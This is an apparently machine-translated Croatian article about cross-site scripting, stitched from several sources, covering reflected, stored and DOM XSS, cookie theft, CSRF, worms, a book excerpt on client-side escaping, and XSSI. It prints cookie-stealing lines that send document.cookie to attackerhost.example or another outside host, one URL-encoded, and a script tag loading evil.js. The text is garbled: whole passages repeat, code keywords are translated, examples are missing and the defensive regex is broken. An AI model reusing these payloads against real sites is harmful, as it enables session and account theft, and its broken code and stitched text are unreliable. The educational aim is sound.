Zaštita od xss napada. Što je XSS ranjivost? Kodiranje na strani klijenta

Svi već odavno znaju što je XSS i kako se od njega zaštititi, pa ću biti kratak. XSS je sposobnost napadača da na određeni način (pogledajte poveznicu na moguće opcije na kraju članka) integrira skriptu u stranicu žrtvenog mjesta koja će se izvršiti kada se ona posjeti.

Zanimljivo, u većini slučajeva gdje je opisano ovu ranjivost, plaše nas sljedećim kodom:

Nekako nije jako strašno :) Kako ova ranjivost doista može biti opasna?

Postoje dvije vrste XSS ranjivosti - pasivne i aktivne.

Aktivna ranjivost opasniji jer napadač ne treba namamiti žrtvu posebna veza, samo treba ugraditi kod u bazu podataka ili neku datoteku na poslužitelju. Tako svi posjetitelji stranice automatski postaju žrtve. Može se integrirati, na primjer, pomoću SQL injekcije. Stoga ne biste trebali vjerovati podacima pohranjenim u bazi podataka, čak i ako su obrađeni tijekom umetanja.

Primjer pasivna ranjivost Možete ga vidjeti na samom početku članka. Ovo već zahtijeva društveni inženjering, na primjer, važno pismo administracije web mjesta u kojem se od vas traži da provjerite postavke računa nakon vraćanja iz sigurnosne kopije. U skladu s tim, morate znati adresu žrtve ili jednostavno dogovoriti slanje neželjene pošte ili objavu na nekom forumu, a nije činjenica da će žrtve biti naivne i slijediti vaš link.

Štoviše, i POST i GET parametri mogu biti osjetljivi na pasivnu ranjivost. S POST parametrima, naravno, morat ćete pribjeći trikovima. Na primjer, preusmjeravanje s web stranice napadača.

Stoga je GET ranjivost malo opasnija, jer... žrtvi je lakše uočiti netočnu domenu nego dodatni parametar(iako se url općenito može kodirati).

Ovo je najčešće citirani primjer XSS napada. Web stranice ponekad pohranjuju neke vrijedne informacije u kolačiće (ponekad čak i korisničku prijavu i lozinku (ili njen hash)), ali najopasnija stvar je krađa aktivne sesije, stoga ne zaboravite kliknuti poveznicu “Izlaz” na web stranicama , čak i ako se radi o kućnom računalu. Srećom, na većini izvora životni vijek sesije je ograničen.

Zato su uveli ograničenja domene na XMLHttpRequest, ali to ne predstavlja problem za napadača, jer postoji, , , pozadina:url(); i tako dalje.

Obrazac tražimo preko npr. getElementById i pratimo događaj onsubmit. Sada, prije podnošenja obrasca, uneseni podaci također se šalju na poslužitelj napadača.

Ova vrsta napada pomalo podsjeća na phishing, samo što koristi pravu stranicu, a ne lažnu, što ulijeva više povjerenja žrtvi.

XSS ranjivost na jako posjećenim resursima može se koristiti za pokretanje DDoS napada. Bit je jednostavna - postoji mnogo zahtjeva koje napadnuti poslužitelj ne može izdržati.
Zapravo, odnos prema XSS-u je neizravan, budući da se skripte uopće ne smiju koristiti, dovoljna je ovakva konstrukcija:

Također neizravno povezan s XSS-om. Ovo je zapravo zasebna vrsta ranjivosti, ali se često koristi zajedno s XSS-om. Suština je da korisnik ovlašten na neranjivoj stranici odlazi na ranjivu (ili posebnu stranicu napadača), s koje se šalje zahtjev za izvođenje određenih radnji.

Grubo rečeno, idealno bi to trebalo biti tako. Korisnik se prijavio u sustav plaćanja. Zatim sam otišao na web stranicu napadača ili stranicu s XSS ranjivošću, s koje je poslan zahtjev za prijenos novca na račun napadača.

Stoga većina stranica prilikom izvođenja određenih radnji korisnika (primjerice, mijenjanje e-pošte) traži lozinku ili od vas traži da unesete kod za potvrdu.

Ova vrsta napada vjerojatno se pojavila zahvaljujući društvenim mrežama kao što su VKontakte i Twitter. Poanta je da se poveznica s XSS ranjivošću šalje nekolicini korisnika društvene mreže; kada kliknu na poveznicu, integrirana skripta šalje poruke drugim korisnicima u njihovo ime itd. Istodobno se mogu izvršiti i druge radnje, na primjer, slanje osobnih podataka žrtava napadaču.

Zanimljivo je da su brojači, po svojoj prirodi, također donekle aktivni XSS napad. Uostalom, na poslužitelj treće strane prenose se podaci o posjetitelju, kao što su njegova IP adresa, rezolucija monitora itd. Samo vi slobodnom voljom integrirate kod na svoju stranicu :) Pogledajte, na primjer, na Google kod Analitički.

Cross-site scripting (skraćeno XSS) raširena je ranjivost koja utječe na mnoge web aplikacije. Omogućuje napadaču ubacivanje zlonamjernog koda na web mjesto na takav način da će preglednik korisnika koji posjećuje web mjesto izvršiti kod.

Tipično, iskorištavanje takve ranjivosti zahtijeva određenu interakciju s korisnikom: ili se namami na zaraženo mjesto pomoću društvenog inženjeringa ili jednostavno čeka da korisnik posjeti to mjesto. Stoga programeri često ne shvaćaju ozbiljno XSS ranjivosti.

Ali ako se ne riješe, mogu predstavljati ozbiljan sigurnosni rizik.

Zamislimo da smo u WordPress administratorskoj ploči, dodaj novi sadržaj. Ako za to koristimo dodatak koji je ranjiv na XSS, on može natjerati preglednik da stvori novog administratora, izmijeni sadržaj i izvede druge zlonamjerne radnje. Cross-site skriptiranje daje napadaču gotovo potpunu kontrolu nad najvažnijim softver ovih dana - preglednik.

Svaka web stranica ili aplikacija ima nekoliko mjesta za unos podataka - polja obrasca do samog URL-a. Najjednostavniji primjer ulazni podaci - kada unesemo korisničko ime i lozinku u obrazac:

Naše će ime biti pohranjeno u bazi podataka stranice za naknadne interakcije s nama. Sigurno ste, kada ste se prijavili na bilo koju web stranicu, vidjeli osobni pozdrav u stilu "Dobro došao, Ilya."

Upravo se u te svrhe korisnička imena pohranjuju u bazu podataka.

Injekcija je postupak kada se umjesto imena ili lozinke unosi poseban niz znakova, koji tjera poslužitelj ili preglednik da odgovori na određeni način koji napadač želi.

Cross-site scripting je injekcija koja ubacuje kod koji će izvršiti radnje u pregledniku u ime web stranice. To se može dogoditi bilo s obavijesti korisnika ili pozadina, bez njegovog znanja.

Odraženi XSS napad pokreće se kada korisnik klikne na posebno izrađenu poveznicu.

Ove se ranjivosti javljaju kada podaci koje pruža web klijent, najčešće u parametrima HTTP zahtjeva ili HTML obrazac, izvršavaju izravno skripte na strani poslužitelja za analizu i prikaz stranice s rezultatima za tog klijenta, bez odgovarajuće obrade.

Pohranjeni XSS moguć je kada napadač uspije ubaciti zlonamjerni kod u poslužitelj koji se izvršava u pregledniku svaki put kada se pristupi originalnoj stranici. Klasičan primjer ove ranjivosti su forumi koji dopuštaju HTML komentare.

Isto kao iu slučaju poslužiteljske strane, samo je u ovom slučaju napad moguć zbog činjenice da kod obrađuje preglednik.

Slično XSS-u pohranjenom na strani poslužitelja, samo što se u ovom slučaju zlonamjerna komponenta pohranjuje na strani klijenta pomoću pohrane preglednika.

Zanimljivo, u većini slučajeva gdje je ova ranjivost opisana, plašimo se sljedećim kodom:

Http://www.site.com/page.php?var=alert("xss");

Postoje dvije vrste XSS ranjivosti - pasivne i aktivne.

Aktivna ranjivost je opasniji, jer napadač ne treba namamiti žrtvu pomoću posebne veze, on samo treba ubaciti kod u bazu podataka ili neku datoteku na poslužitelju. Tako svi posjetitelji stranice automatski postaju žrtve. Može se integrirati, na primjer, pomoću SQL injekcije. Stoga ne biste trebali vjerovati podacima pohranjenim u bazi podataka, čak i ako su obrađeni tijekom umetanja.

Primjer pasivna ranjivost Možete ga vidjeti na samom početku članka. Ovo već zahtijeva društveni inženjering, na primjer, važno pismo administracije web mjesta u kojem se od vas traži da provjerite postavke računa nakon vraćanja iz sigurnosne kopije. U skladu s tim, morate znati adresu žrtve ili jednostavno dogovoriti slanje neželjene pošte ili objavu na nekom forumu, a nije činjenica da će žrtve biti naivne i slijediti vaš link.

Štoviše, i POST i GET parametri mogu biti osjetljivi na pasivnu ranjivost. S POST parametrima, naravno, morat ćete pribjeći trikovima. Na primjer, preusmjeravanje s web stranice napadača.

document.getElementsByTagName("forma").submit();

Stoga je GET ranjivost malo opasnija, jer... Žrtvi je lakše uočiti netočnu domenu nego dodatni parametar (iako se url općenito može kodirati).

Ovo je najčešće citirani primjer XSS napada. Web stranice ponekad pohranjuju neke vrijedne informacije u kolačiće (ponekad čak i korisničku prijavu i lozinku (ili njen hash)), ali najopasnija stvar je krađa aktivne sesije, stoga ne zaboravite kliknuti poveznicu “Izlaz” na web stranicama , čak i ako se radi o kućnom računalu. Srećom, na većini izvora životni vijek sesije je ograničen.

Var img = nova slika(); img.srs = "http://site/xss.php?" + dokument.kolačić;

Zato su uveli ograničenja domene na XMLHttpRequest, ali to ne predstavlja problem za napadača, jer postoji, , , pozadina:url(); i tako dalje.

Obrazac tražimo preko npr. getElementById i pratimo događaj onsubmit. Sada, prije podnošenja obrasca, uneseni podaci također se šalju na poslužitelj napadača.

Ova vrsta napada pomalo podsjeća na phishing, samo što koristi pravu stranicu, a ne lažnu, što ulijeva više povjerenja žrtvi.

XSS ranjivost na jako posjećenim resursima može se koristiti za pokretanje DDoS napada. Bit je jednostavna - postoji mnogo zahtjeva koje napadnuti poslužitelj ne može izdržati.
Zapravo, odnos prema XSS-u je neizravan, budući da se skripte uopće ne smiju koristiti, dovoljna je ovakva konstrukcija:

Kako možete zaštititi svoju stranicu od XSS-a? Kako provjeriti ima li u kodu ranjivosti? Postoje tehnologije poput Sucuri Firewall koje su posebno dizajnirane za izbjegavanje takvih napada. Ali ako ste programer, sigurno ćete htjeti naučiti više o tome kako identificirati i ublažiti XSS ranjivosti.

O tome ćemo govoriti u sljedećem dijelu članka o XSS-u.

Što je XSS ranjivost? Trebamo li je se bojati?

Cross-site scripting (skraćeno XSS) raširena je ranjivost koja utječe na mnoge web aplikacije. Omogućuje napadaču ubacivanje zlonamjernog koda na web mjesto na takav način da će preglednik korisnika koji posjećuje web mjesto izvršiti kod.

Tipično, iskorištavanje takve ranjivosti zahtijeva određenu interakciju s korisnikom: ili se namami na zaraženo mjesto pomoću društvenog inženjeringa ili jednostavno čeka da korisnik posjeti to mjesto. Stoga programeri često ne shvaćaju ozbiljno XSS ranjivosti. Ali ako se ne riješe, mogu predstavljati ozbiljan sigurnosni rizik.

Zamislimo da se nalazimo u WordPress administratorskoj ploči i dodajemo novi sadržaj. Ako za to koristimo dodatak koji je ranjiv na XSS, on može natjerati preglednik da stvori novog administratora, izmijeni sadržaj i izvrši druge zlonamjerne radnje.

Cross-site skriptiranje daje napadaču gotovo potpunu kontrolu nad najvažnijim dijelom softvera ovih dana - preglednikom.

Svaka web stranica ili aplikacija ima nekoliko mjesta za unos podataka - polja obrasca do samog URL-a. Najjednostavniji primjer unosa podataka je kada u formu unesemo korisničko ime i lozinku:

Slika 1. Obrazac za unos podataka

Naše će ime biti pohranjeno u bazi podataka stranice za naknadne interakcije s nama. Sigurno ste, kada ste se prijavili na bilo koju web stranicu, vidjeli osobni pozdrav u stilu "Dobro došao, Ilya." U tu se svrhu korisnička imena pohranjuju u bazu podataka.

Injekcija je postupak kada se umjesto imena ili lozinke unosi poseban niz znakova, koji tjera poslužitelj ili preglednik da odgovori na određeni način koji napadač želi.

Cross-site scripting je injekcija koja ubacuje kod koji će izvršiti radnje u pregledniku u ime web stranice. To se može dogoditi ili uz obavijest korisniku ili u pozadini, bez njegovog znanja.

Slika 2. Vizualni dijagram skriptiranja između stranica

Najjednostavniji primjer je jednostavna skripta koja prikazuje prozor obavijesti. Izgleda otprilike ovako:

Tablica 1. Skripta koja uzrokuje skočni prozor

upozorenje("OVO JE XSS RANJIVOST!!!")

Ova skripta otvara prozor s porukom "OVO JE XSS RANJIVOST!!!" Korisnikov preglednik percipira i izvršava ovu skriptu kao dio legitimnog koda stranice.

Nisu sve XSS ranjivosti jednake; postoji mnogo vrsta. Ovo su vrste i njihova interakcija:

Slika 3. Vrste XSS ranjivosti

Ranjivosti uzrokovane kodom na strani poslužitelja (Java, PHP, .NET, itd.):

Tradicionalni XSS napadi:

Ranjivosti uzrokovane kodom na strani klijenta (JavaScript, Visual Basic, Flash itd.):

Također poznati kao DOM modeli:

Ranjivosti uzrokovane infrastrukturom (preglednik, dodaci, poslužitelji itd.):

Vrlo su rijetke, ali su opasnije:

Ranjivosti koje uzrokuje korisnik:

Kako možete zaštititi svoju stranicu od XSS-a? Kako provjeriti ima li u kodu ranjivosti? Postoje tehnologije poput Sucuri Firewall koje su posebno dizajnirane za izbjegavanje takvih napada. Ali ako ste programer, sigurno ćete željeti naučiti više o tome kako identificirati i ublažiti XSS ranjivosti. O tome ćemo govoriti u sljedećem dijelu članka o XSS-u.

Cross-Site Scripting ili XSS. Cross-site skriptiranje (cross-site scripting).

Ranjivost Cross-site Scripting omogućuje napadaču da pošalje izvršni kod na poslužitelj, koji će biti preusmjeren na preglednik korisnika. Ovaj kod se obično kreira u HTML jezici/JavaScript , ali mogu se koristiti VBScript, ActiveX, Java, Flash ili druge tehnologije koje podržava preglednik.

Poslani kod se izvršava u sigurnosnom kontekstu (ili sigurnosnoj zoni) ranjivog poslužitelja. Koristeći te privilegije, kod može čitati, mijenjati ili prenositi osjetljive podatke kojima se može pristupiti putem preglednika. Račun napadnutog korisnika može biti ugrožen (krađa kolačića), njegov preglednik može biti preusmjeren na drugi poslužitelj ili sadržaj poslužitelja može biti zamijenjen. Kao rezultat pomno planiranog napada, napadač može upotrijebiti žrtvin preglednik za pregled web stranica u ime napadnutog korisnika. Napadač može prenijeti kod u URL-u, u metodama i strukturi zaglavlja HTTP zahtjeva (kolačić, korisnički agent, referer), vrijednosti polja obrasca itd.

Postoje tri vrste napada skriptiranjem na različitim mjestima: nepostojani (reflektirani), postojani (trajni) i napadi temeljeni na DOM-u. Glavna razlika između postojanog i nepostojanog je u tome što se u reflektiranoj verziji kod prenosi na poslužitelj i vraća klijentu unutar jednog HTTP zahtjeva, au pohranjenoj verziji - u različitim.

Izvođenje nepostojanog napada zahtijeva od korisnika da slijedi vezu koju je generirao napadač (veza se može poslati putem e-pošte, ICQ-a itd.). Tijekom procesa učitavanja stranice, kod ugrađen u URL ili zaglavlja zahtjeva bit će poslan klijentu i izvršen u njegovom pregledniku.

Pohranjena vrsta ranjivosti javlja se kada se kod prenese na poslužitelj i pohrani na njemu određeno vrijeme. Najpopularnije mete napada u ovom slučaju su forumi, pošta sa Web sučelje i razgovore. Za napad korisnik ne mora slijediti poveznicu; dovoljno je posjetiti ranjivu stranicu.

Primjer. Opcija trajnog napada. Mnoga mjesta imaju oglasne ploče i forume koji korisnicima omogućuju postavljanje poruka. Registrirani korisnik se obično identificira brojem

sesije, pohranjene u kolačiću. Ako napadač ostavi poruku koja sadrži kod JavaScript, imat će pristup korisničkom ID-u sesije. Primjer koda za prosljeđivanje kolačića:

document.location= "http://attackerhost.example/cgi-bin/cookiesteal.cgi?"+document.cookie

Primjer. Reflektirana (nepostojana) verzija napada. Mnogi poslužitelji pružaju korisnicima mogućnost pretraživanja sadržaja poslužitelja. Obično se zahtjev prosljeđuje u URL-u i nalazi se na rezultirajućoj stranici.

Na primjer, kada slijedi URL http://portal.example/search?q= ”svježe pivo” korisniku će se prikazati stranica koja sadrži rezultate pretraživanja i izraz: “0 stranica je pronađeno za vaš zahtjev svježe pivo.” Ako se Javascript proslijedi kao fraza za pretraživanje, izvršit će se u pregledniku korisnika. Primjer:

Http://portal.example/search/?q=alert("xss")

URLEncode se može koristiti za skrivanje koda skripte

Http://portal.example/index.php?sessionid=12312312& korisničko ime=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65 %6E%74% 2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70 %3A%2F%2F%61%74%74%61%63%6B%65% 72%68%6F%73%74%2E%65 %78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F %6F% 6B%69%65%73%74%65%61%6C%2E%63%67%69%3F%27%2B%64 %6F%63%75%6D%65%6E%74%2E%63% 6F%6F%6B%69%65%3C%2F%73 %63%72%69%70%74%3E

Odlomak iz knjige Davida Flanagana JavaScript Kompletan vodič 5. izdanje.

Izraz cross-site scripting ili XSS odnosi se na područje računalne ranjivosti gdje napadač ubacuje HTML oznake ili skripte u dokumente na ranjivoj web stranici Zaštita od XSS napada je uobičajena među web programerima koji pišu skripte na strani poslužitelja. Međutim, programeri koji razvijaju JavaScript skripte na strani klijenta također bi trebali biti svjesni XSS napada i poduzeti mjere zaštite od njih.

Web stranica se smatra ranjivom na XSS napade ako dinamički generira sadržaj dokumenta na temelju korisničkog unosa koji nije prethodno obrađen za uklanjanje ugrađenog HTML koda. Kao trivijalni primjer, razmotrite sljedeću web stranicu koja koristi JavaScript skriptu da pozdravi korisnika imenom:

naziv var = decodeURIComponent(window.location.search.substring(6)) || ""; document.write("Pozdrav " + ime);

Drugi redak skripte poziva metodu window.location.search.substring, koja dohvaća dio adresna traka, počevši od simbola ?. Dinamički generirani sadržaj dokumenta zatim se dodaje pomoću metode document.write(). Ovaj scenarij pretpostavlja da će se web stranici pristupiti pomoću nečeg ovakvog URL adrese:

Http://www.example.com/greet.html?name=David

U tom slučaju bit će prikazan tekst "Zdravo Davide". Ali što se događa ako se stranica zatraži pomoću sljedećeg URL-a:

Http://www.example.com/greet.html?name=%3Cscript%3Ealert("David")%3C/script%3E

S ovim URL sadržajem, skripta će dinamički generirati drugu skriptu (kodovi %3C i %3E su uglaste zagrade)! U tom će slučaju umetnuta skripta jednostavno prikazati dijaloški okvir, što ne predstavlja nikakvu opasnost. Ali zamislite ovaj slučaj:

Http://siteA/greet.html?name=%3Cscript src=siteB/evil.js%3E%3C/script%3E

Cross-site scripting se tako naziva jer je više od jednog mjesta uključeno u napad. Stranica B (ili čak stranica C) uključuje posebno izrađenu vezu (poput ove upravo prikazane) na stranicu A, koja sadrži skriptu sa stranice B. Skripta evil.js nalazi se na stranici napadača B, ali sada skripta završava ubrizgava na stranicu A i može raditi što god želi sa sadržajem stranice A. Može obrisati stranicu ili uzrokovati druge smetnje na stranici (kao što je uskraćivanje usluge, o čemu se govori u sljedećem odjeljku). To bi moglo imati negativan učinak na posjetitelje stranice A. Što je još opasnije, takva bi zlonamjerna skripta mogla pročitati sadržaj kolačića pohranjenih na stranici A (koji možda sadrže brojeve računa ili druge osobne podatke) i poslati te podatke natrag na stranicu B. umetnuta skripta mogla bi čak pratiti pritiske tipki i poslati te podatke na mjesto B.

Univerzalni način sprječavanja XSS napada je uklanjanje HTML oznake iz svih podataka upitnog podrijetla prije nego što ih upotrijebi za dinamičko generiranje sadržaja dokumenta. Da biste riješili ovaj problem u datoteci greet.html prikazanoj ranije, morate dodati sljedeći redak vašoj skripti kako biste uklonili uglaste zagrade koje okružuju :

Ime = ime.zamijeni(//g, ">");

Cross-site skriptiranje je ranjivost duboko ukorijenjena u arhitekturi Svjetska mreža. Potrebno je razumjeti dubinu ove ranjivosti.

O mogućnosti dobivanja raznih informacija sa stranica trećih strana jednostavnim napadom – Cross Site Scripting Inclusion (XSSI).

Ako sustavno čitate Easy Hack, onda ste vjerojatno već dobro upoznati sa Same Origin Policy (SOP), često joj se vraćamo. Zbog SOP-a, mogućnost interakcije između dva "stranica" vrlo je ograničena. Ali budući da se često pojavljuje zadatak primanja i slanja informacija na jednom mjestu s drugog, uvedene su različite metode za "omekšavanje" politike i organiziranje interakcije. Na primjer, kao što su CORS ili crossdomain.xml. Jedna od starijih metoda je učitavanje JavaScripta s druge domene putem . SOP nas ovdje ni na koji način ne ograničava: možete odrediti gotovo proizvoljnu lokaciju.

Na primjer, postoji napadačev host evil.ru i žrtvino web mjesto - žrtve.com. Na evil.ru možemo staviti HTML datoteka i pogledajte bilo koji scenarij žrtve:

Kada korisnik uđe na napadačevo web mjesto, preglednik će učitati i pokrenuti JS s žrtve.com, ali u kontekstu SOP evil.ru. To znači da ćemo iz napadačevog JS-a moći pristupiti (ne svim) JS podacima sa žrtvinog poslužitelja.

Na primjer, JS sadržaj sa stranice žrtve (http://victim.com/any_script_.js):

Var a = "12345";

Zatim na web stranici napadača možemo dobiti vrijednost varijable:

konzola.log(a);

Ideja rada je jednostavna poput aluminijskog kuhala za vodu.

Zapravo, mogućnost učitavanja statičnog JS-a s drugih stranica ne predstavlja više problema za stranicu žrtve od učitavanja slike.

Problemi mogu nastati kada se JS generira dinamički, odnosno kada se sadržaj JS skripte mijenja na temelju podataka iz kolačića ovisno o tome koji mu korisnik pristupa. Na primjer, JS pohranjuje neke "kritične" podatke: osobne podatke (e-mail, korisničko ime na stranici žrtve) ili tehničke podatke (anti-CSRF tokene).

No, kao što znamo, prilikom učitavanja skripte putem oznake, korisnički preglednik korisniku automatski šalje kolačić. Zbrajanjem ovih činjenica možemo dobiti informacije o svakom korisniku koji je posjetio web stranicu napadača i prijavljen je na stranicu žrtve.

Što možemo saznati? Globalne varijable i rezultati globalnih funkcija. Nažalost, nećemo moći pristupiti internim varijablama/funkcijama (iako će možda netko pronaći način da i to učini).

Test funkcije())( vrati "privatne podatke iz funkcije"; )

Ovaj napad izgleda moguć, ali se čini previše jednostavan i ne bi trebao biti uobičajen. To je ono što prezentaciju u Black Hatu čini zanimljivom. Istraživači su analizirali 150 popularnih web stranica i otkrili da je trećina njih do određenog stupnja ranjiva. Ova nas statistika tjera da problem sagledamo malo pobliže.

Također je otkriven još jedan obrazac. Politika sigurnosti sadržaja postaje sve češća. Kao što znate, pomoću njega možemo naznačiti s kojih se domena ovaj ili onaj resurs može učitati. Na primjer, možete reći da izvršite JS samo iz istog resursa. Osim toga, najbolje prakse za postavljanje CSP-a uključuju zabranu izvršavanja ugrađenog JS-a (to jest, koda koji se nalazi izravno u HTML-u, a ne učitava se iz JS datoteke).

Međutim, prijenos inline u datoteke može se obaviti uz pomoć štaka i u žurbi - to jest, putem dinamički generiranih skripti. Budući da CSP nema učinka na XSSI, možemo ponovno izvesti naše napade. Ovo je tako loša praksa.